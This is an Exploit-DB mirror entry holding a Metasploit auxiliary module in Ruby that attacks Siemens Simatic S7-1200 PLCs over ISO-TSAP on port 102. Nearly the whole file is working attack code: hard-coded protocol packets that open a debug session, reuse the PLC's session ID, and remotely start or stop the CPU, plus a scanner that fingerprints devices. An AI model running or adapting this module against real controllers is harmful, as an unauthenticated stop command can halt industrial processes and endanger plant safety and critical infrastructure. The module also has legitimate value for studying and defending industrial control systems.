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exploit-db-mirror/exploits/hardware/remote/38964.rb
Offensive Security b4c96a5864 DB: 2021-09-03 
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

225 lines
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7.9 KiB
Ruby
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# Exploit Title: Simatic S7 1200 CPU command module
# Date: 15-12-2015
# Exploit Author: Nguyen Manh Hung
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-1214C
# CVE : None
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name'=> 'Simatic S7-1200 CPU START/STOP Module',
'Description' => %q{
Update 2015
The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP.
},
'Author' => 'Nguyen Manh Hung <tdh.mhung@gmail.com>',
'License' => MSF_LICENSE,
'References' =>
[
[ 'nil' ],
],
'Version' => '$Revision$',
'DisclosureDate' => '11-2015'
))
register_options(
[
Opt::RPORT(102),
OptInt.new('FUNC',[true,'func',1]),
OptString.new('MODE', [true, 'Mode select:
START -- start PLC
STOP -- stop PLC
SCAN -- PLC scanner',"SCAN"]),
], self.class)
end
####################################################################################
def packet()
packets=[ #dua tren TIA portal thay cho hello plc
"\x03\x00\x00\x23\x1e\xe0\x00\x00"+
"\x00\x06\x00\xc1\x02\x06\x00\xc2"+
"\x0f\x53\x49\x4d\x41\x54\x49\x43"+
"\x2d\x52\x4f\x4f\x54\x2d\x45\x53"+
"\xc0\x01\x0a",
#session debug
"\x03\x00\x00\xc0\x02\xf0\x80\x72"+
"\x01\x00\xb1\x31\x00\x00\x04\xca"+
"\x00\x00\x00\x02\x00\x00\x01\x20"+
"\x36\x00\x00\x01\x1d\x00\x04\x00"+
"\x00\x00\x00\x00\xa1\x00\x00\x00"+
"\xd3\x82\x1f\x00\x00\xa3\x81\x69"+
"\x00\x15\x16\x53\x65\x72\x76\x65"+
"\x72\x53\x65\x73\x73\x69\x6f\x6e"+
"\x5f\x43\x43\x39\x43\x33\x39\x33"+
"\x44\xa3\x82\x21\x00\x15\x0b\x31"+
"\x3a\x3a\x3a\x36\x2e\x30\x3a\x3a"+
"\x3a\x12\xa3\x82\x28\x00\x15\x0d"+
"\x4f\x4d\x53\x2b\x20\x44\x65\x62"+
"\x75\x67\x67\x65\x72\xa3\x82\x29"+
"\x00\x15\x00\xa3\x82\x2a\x00\x15"+
"\x00\xa3\x82\x2b\x00\x04\x84\x80"+
"\x80\x80\x00\xa3\x82\x2c\x00\x12"+
"\x11\xe1\xa3\x00\xa3\x82\x2d\x00"+
"\x15\x00\xa1\x00\x00\x00\xd3\x81"+
"\x7f\x00\x00\xa3\x81\x69\x00\x15"+
"\x15\x53\x75\x62\x73\x63\x72\x69"+
"\x70\x74\x69\x6f\x6e\x43\x6f\x6e"+
"\x74\x61\x69\x6e\x65\x72\xa2\xa2"+
"\x00\x00\x00\x00\x72\x01\x00\x00",
######
"\x03\x00\x00\x77\x02\xf0\x80\x72"+#p1
"\x02\x00\x68\x31\x00\x00\x05\x42"+
"\x00\x00\x00\x03\x00\x00\x03\xff"+
"\x34\x00\x00\x03\xff\x01\x01\x82"+
"\x32\x01\x00\x17\x00\x00\x01\x3a"+
"\x82\x3b\x00\x04\x81\x40\x82\x3c"+
"\x00\x04\x81\x40\x82\x3d\x00\x04"+
"\x00\x82\x3e\x00\x04\x84\x80\xc0"+
"\x40\x82\x3f\x00\x15\x00\x82\x40"+
"\x00\x15\x05\x32\x3b"+
"\x35\x34\x34\x82\x41"+
"\x00\x03\x00\x03\x00\x00\x00\x00"+#2
"\x04\xe8\x89\x69\x00\x12\x00\x00"+
"\x00\x00\x89\x6a\x00\x13\x00\x89"+
"\x6b\x00\x04\x00\x00\x00\x00\x00"+
"\x00\x72\x02\x00\x00",
#unknown
"\x03\x00\x00\x07\x02\xf0\x00",
#bat dau qua trinh diag
"\x03\x00\x00\x2b\x02\xf0\x80\x72"+
"\x02\x00\x1c\x31\x00\x00\x04\xbb"+
"\x00\x00\x00\x05\x00\x00\x03\xff"+
"\x34\x00\x00\x00\x01\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
"\x02\x00\x00",
#tiep tuc diag
"\x03\x00\x00\x2b\x02\xf0\x80\x72"+
"\x02\x00\x1c\x31\x00\x00\x04\xbb"+
"\x00\x00\x00\x06\x00\x00\x03\xff"+
"\x34\x00\x00\x00\x02\x00\x01\x01"+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
"\x02\x00\x00",
#truoc start-stop
"\x03\x00\x00\x42\x02\xf0\x80"+
"\x72\x02\x00\x33\x31\x00\x00\x04"+
"\xfc\x00\x00\x00\x07\x00\x00\x03"+
"\xff\x36\x00\x00\x00\x34\x02\x91"+
"\x3d\x9b\x1e\x00\x00\x04\xe8\x89"+
"\x69\x00\x12\x00\x00\x00\x00\x89"+
"\x6a\x00\x13\x00\x89\x6b\x00\x04"+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
"\x02\x00\x00",
#start
"\x03\x00\x00\x43\x02\xf0\x80"+
"\x72\x02\x00\x34\x31\x00\x00\x04"+
"\xf2\x00\x00\x00\x08\x00\x00\x03"+
"\xff\x36\x00\x00\x00\x34\x01\x90"+
"\x77\x00\x08\x03\x00\x00\x04\xe8"+
"\x89\x69\x00\x12\x00\x00\x00\x00"+
"\x89\x6a\x00\x13\x00\x89\x6b\x00"+
"\x04\x00\x00\x00\x00\x00\x00\x00"+
"\x72\x02\x00\x00",
#stop
"\x03\x00\x00\x43\x02\xf0\x80"+
"\x72\x02\x00\x34\x31\x00\x00\x04"+
"\xf2\x00\x00\x00\x08\x00\x00\x03"+
"\xff\x36\x00\x00\x00\x34\x01\x90"+
"\x77\x00\x08\x01\x00\x00\x04\xe8"+
"\x89\x69\x00\x12\x00\x00\x00\x00"+
"\x89\x6a\x00\x13\x00\x89\x6b\x00"+
"\x04\x00\x00\x00\x00\x00\x00\x00"+
"\x72\x02\x00\x00",
]
return packets
end
#############################################################################
def start_PLC(scr)
print_good "mode select: START"
sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[7].gsub("\xff",[scr].pack("c")))#send hello plc
#sock.get_once()
dt=sock.get_once(-1, sock.def_read_timeout)
if dt.length.to_i == 30
print_good "PLC---->RUN"
else
a= dt.to_s.gsub(/[\x80-\xff]/," ")
print_error a.to_s.gsub(/[\x00-\x30]/," ")
end
end
#############################################################################
def stop_PLC(scr)
print_good "mode select: STOP"
sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[8].gsub("\xff",[scr].pack("c")))#send hello plc
dt=sock.get_once(-1, sock.def_read_timeout)
if dt.length.to_i == 30
print_good "PLC---->STOP"
else
a= dt.to_s.gsub(/[\x80-\xff]/," ")
print_error a.to_s.gsub(/[\x00-\x30]/," ")
end
end
#############################################################################
def PLC_SCAN(ip)
sock.put(packet[0])#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[1])#xin 1 session debug
dt=sock.get_once(-1, sock.def_read_timeout)
sock.put(packet[3])#send hello plc
sock.get_once()
arr=dt.split(/;/)
print_good "#{ip.to_s}: #{arr[2].to_s} : #{arr[3][0..3].to_s}"
end
#############################################################################
def run_host(ip)
mode=datastore['MODE']
func=datastore['FUNC']
connect()
if mode !="scan" && mode!="SCAN"
sock.put(packet[0])#send hello plc
sock.get_once()
sleep(0.05)
sock.put(packet[1])#xin 1 session debug
dt=sock.get_once(-1, sock.def_read_timeout)
sock.put(packet[3])#send hello plc
sock.get_once()
arr=dt.split(/;/)
print_good "#{arr[2].to_s} : #{arr[3][0..3].to_s}"
data=dt.unpack("C*")
a= (data[24]).to_i
b= (data[26]).to_i
scr=a|128
scr1=b|128
#print_line scr.to_s
if arr.length.to_i ==5 #neu lay duoc session
session_i= arr[4][0..4].each_byte.map { |dt| '\x%02x' % dt.to_i }.join
pac=packet[2].gsub("\xff",[scr].pack("c"))
sock.put(pac.gsub("\x35\x34\x34\x82\x41", arr[4][0..4]))
end
sock.put(packet[3])#send uknown packet to plc
sock.get_once()
case mode
when "START" , "start"
start_PLC(scr)
when "STOP" , "stop"
stop_PLC(scr)
else
print_error("Invalid MODE")
end
else
PLC_SCAN(ip)
end
disconnect()
end
end
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